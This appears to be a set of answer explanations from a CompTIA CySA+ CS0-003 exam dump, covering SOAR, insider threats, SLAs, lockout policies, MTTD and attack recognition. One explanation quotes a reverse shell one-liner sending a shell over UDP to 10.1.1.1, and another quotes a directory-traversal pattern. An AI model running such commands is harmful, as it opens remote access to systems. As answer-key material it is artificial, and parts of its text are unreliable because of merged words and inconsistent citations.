CompTIA CS0-003 - CompTIA CyberSecurity Analyst CySA+ Certification Exam

SOAR (Security Orchestration, Automation and Response) and SIEM (Security Information and Event Management) are solutions that can help centralize the workload for the internal security team by collecting, correlating, and analyzing alerts from different sources, such as EDR. SOAR can also automate and streamline incident response workflows, while SIEM can provide dashboards and reports for security monitoring and compliance. References: What is EDR? Endpoint Detection & Response, How Does the Cyber Kill Chain Protect Against Attacks?; What is EDR Solution?, EDR solutions secure diverse endpoints through central monitoring

SOAR (Security Orchestration, Automation, and Response) platforms help automate and orchestrate incident response tasks, including phishing triage.

SOAR reduces triage time by automatically:

Parsing phishing emails (checking headers, links, attachments).

Running automated playbooks to check for known malicious indicators.

Escalating real threats while dismissing false positives.

Why Not Other Options?

B (Increase security awareness) → Helps prevent phishing but does NOT reduce triage time.

C (Implement EDR) → EDR is useful for endpoint protection but does NOT specifically reduce phishing triage time.

D (Install a " Report Phishing " button) → Helps report phishing but does NOT automate the triage process.

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization’s reputation, operations, and compliance12. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users’ Activities in Active Directory

SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the customer receives the service that meets their needs and requirements. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

Enabling a user account lockout policy is a security measure that can effectively mitigate brute-force attacks. After a predetermined number of consecutive failed login attempts, the account will be locked, preventing the attacker from continuing to try different password combinations. This control directly addresses the issue of multiple failed attempts from the same IP address using a single user account, making it the most effective among the options provided. Option B suggests replacing RDP with another remote access tool, which does not address the brute-force attempt but rather avoids the RDP protocol. Option C, implementing a firewall block, could be effective but does not prevent attacks from other IP addresses and may not be as immediate. Option D, increasing log verbosity, enhances monitoring but does not prevent the attack itself.

Root Cause Analysis (RCA)is the best approach toidentify and resolve the underlying cause of recurring incidents. It involves a systematic investigation of logs, configurations, and operational data to pinpoint the reason behindpersistent security issues​.

Option A (Vulnerability assessment)helpsidentify security weaknessesbut does not focus onrecurring operational issues.

Option C (Recurrence reports)trackpatternsbut do notresolve the root cause.

Option D (Lessons learned)is valuable but is typicallya post-mortem discussion rather than an investigative method.

Thus,B is the correct answer, asroot cause analysis is the best approach for diagnosing recurring availability issues​.

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user’s system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:

sh -i > & /dev/udp/10.1.1.1/4821 0 > $l

This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol.

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company’s systems, networks, or resources, as well as the consequences of violating the company’s security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data: (180+150+170+140)/4 = 160 minutes. This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide1, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

The log entry " ......\boot.ini " is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web root folder.

The log snippet " ......\boot.ini " is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “../” (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file system.